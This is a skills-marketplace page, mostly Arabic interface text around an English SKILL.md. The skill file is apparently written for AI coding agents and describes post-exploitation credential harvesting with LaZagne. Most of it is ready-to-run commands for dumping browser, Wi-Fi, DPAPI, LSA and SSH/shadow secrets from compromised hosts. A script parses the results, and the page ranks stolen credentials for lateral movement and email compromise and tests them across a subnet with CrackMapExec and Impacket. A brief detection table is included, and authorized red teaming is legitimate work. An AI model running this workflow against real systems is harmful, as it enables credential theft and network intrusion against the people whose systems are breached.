performing-credential-access-with-lazagne

Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.

الانتقال إلى التثبيت

المستودع: mukul975/Anthropic-Cybersecurity-Skills
آخر نشاط في المصدر: ٢٠ يونيو ٢٠٢٦ في ١٤:٠٦
لغة SKILL.md المكتشفة: الإنجليزية
النجوم: ٢٧٬٧٣٢
التفرعات: ٣٬٣٦٦

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.

يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.

npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills --skill performing-credential-access-with-lazagne

يبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.

تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

مستكشف الملفات

8 ملفات

SKILL.md

تعليمات المصدر · معاينة للقراءة فقط

العودة إلى البحث العودة إلى التثبيت

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.

2026-08-02

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.

2026-08-02

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

2026-08-02

عرض الكل من هذا المستودع

Performing Credential Access with LaZagne

Overview

LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.

When to Use

When conducting security assessments that involve performing credential access with lazagne
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing

Prerequisites

Familiarity with red teaming concepts and tools
Access to a test or lab environment for safe execution
Python 3.8+ with required dependencies installed
Appropriate authorization for any testing activities

Objectives

Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
Extract credentials from all supported password stores
Parse and prioritize recovered credentials for lateral movement
Identify high-value credentials (domain admin, service accounts, cloud access)
Document credential harvesting results with appropriate evidence handling
Correlate recovered credentials with BloodHound attack paths

MITRE ATT&CK Mapping

T1555 - Credentials from Password Stores
T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
T1555.004 - Credentials from Password Stores: Windows Credential Manager
T1552.001 - Unsecured Credentials: Credentials In Files
T1552.002 - Unsecured Credentials: Credentials in Registry
T1003.004 - OS Credential Dumping: LSA Secrets
T1539 - Steal Web Session Cookie

Workflow

Phase 1: LaZagne Deployment

Transfer LaZagne to the compromised host:

# Pre-compiled executable (Windows)
# Transfer lazagne.exe via C2 channel or file upload

# Python version (requires Python on target)
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne
pip install -r requirements.txt

Verify execution capability and privileges:

# Check current user context
whoami /priv

# LaZagne works with standard user privileges for user-level stores
# SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM

Phase 2: Full Credential Extraction (Windows)

Run LaZagne with all modules:

# Extract all credentials
lazagne.exe all

# Export results to JSON
lazagne.exe all -oJ

# Export results to specific file
lazagne.exe all -oJ -output C:\Temp\creds

Run specific modules for targeted extraction:

# Browsers only (Chrome, Firefox, Edge, Opera, IE)
lazagne.exe browsers

# Windows credential stores
lazagne.exe windows

# Database credentials
lazagne.exe databases

# Email client credentials
lazagne.exe mails

# Wi-Fi passwords
lazagne.exe wifi

# Git credentials
lazagne.exe git

# System credentials (requires elevated privileges)
lazagne.exe sysadmin

Phase 3: Credential Extraction (Linux)

Run LaZagne on Linux targets:

# Full extraction
python3 laZagne.py all

# Browser credentials
python3 laZagne.py browsers

# System credentials (SSH keys, shadow file with root)
python3 laZagne.py sysadmin

# Database credentials
python3 laZagne.py databases

# Git credentials
python3 laZagne.py git

Phase 4: Credential Analysis and Prioritization

Parse JSON output for unique credentials:

import json
with open("creds.json") as f:
    results = json.load(f)
for module in results:
    for entry in module.get("results", []):
        print(f"Source: {entry.get('Category')}")
        print(f"  User: {entry.get('Login', 'N/A')}")
        print(f"  URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")

Prioritize credentials by value:
- Domain credentials (AD accounts) for lateral movement
- Cloud service credentials (AWS, Azure, GCP console)
- VPN and remote access credentials
- Database credentials for data access
- Email credentials for business email compromise
- Service account credentials for privilege escalation

Phase 5: Credential Validation and Use

Validate recovered domain credentials:

# Test domain credentials with CrackMapExec
crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'

# Test with Impacket
smbclient.py domain.local/user:'password'@10.10.10.1

Cross-reference with BloodHound paths for high-value targets
Use recovered credentials for lateral movement or privilege escalation

Tools and Resources

Tool	Purpose	Platform
LaZagne	Multi-source credential extraction	Windows/Linux/macOS
Mimikatz	LSASS/DPAPI credential dumping	Windows
SharpChrome	Chrome credential extraction (.NET)	Windows
SharpDPAPI	DPAPI credential decryption	Windows
CrackMapExec	Credential validation and spraying	Linux
Impacket	Remote credential testing	Linux (Python)

LaZagne Module Coverage (Windows)

Category	Modules
Browsers	Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi
Email	Outlook, Thunderbird, Foxmail
Databases	PostgreSQL, MySQL, SQLiteDB, Robomongo
Sysadmin	PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager
Windows	Credential Manager, Vault, DPAPI, Autologon
WiFi	Stored Wi-Fi passwords
Git	Git Credential Store, Git Credential Manager
SVN	TortoiseSVN
Chat	Pidgin, Skype

Detection Signatures

Indicator	Detection Method
LaZagne.exe process execution	EDR process monitoring with hash-based detection
Access to Chrome Login Data SQLite DB	File access monitoring on browser credential stores
DPAPI CryptUnprotectData API calls	API hooking and ETW tracing
Access to Windows Credential Manager	Event 5379 (Credential Manager read)
Mass credential store enumeration	Behavioral analysis for sequential access patterns
Python interpreter accessing credential files	Script block logging and file access auditing

Validation Criteria

LaZagne deployed on compromised endpoint
Full credential extraction completed (all modules)
Credentials exported in JSON format for analysis
Recovered credentials parsed and deduplicated
High-value credentials identified and prioritized
Domain credentials validated against AD
Lateral movement opportunities identified from recovered creds
Evidence documented with appropriate handling procedures

name	performing-credential-access-with-lazagne
description	Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.
domain	cybersecurity
subdomain	red-teaming
tags	["red-team","credential-access","lazagne","post-exploitation","password-recovery","credential-dumping","lateral-movement"]
version	1.0
author	mahipal
license	Apache-2.0

name	performing-credential-access-with-lazagne
description	Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.
domain	cybersecurity
subdomain	red-teaming
tags	["red-team","credential-access","lazagne","post-exploitation","password-recovery","credential-dumping","lateral-movement"]
version	1.0
author	mahipal
license	Apache-2.0

performing-credential-access-with-lazagne

معلومات المصدر

خيارات التثبيت

مراجعة ملفات المصدر

المزيد من هذا المستودع

المزيد من هذا المستودع

Performing Credential Access with LaZagne

Overview

When to Use

Prerequisites

Objectives

MITRE ATT&CK Mapping

Workflow

Phase 1: LaZagne Deployment

Phase 2: Full Credential Extraction (Windows)

Phase 3: Credential Extraction (Linux)

Phase 4: Credential Analysis and Prioritization

Phase 5: Credential Validation and Use

Tools and Resources

LaZagne Module Coverage (Windows)

Detection Signatures

Validation Criteria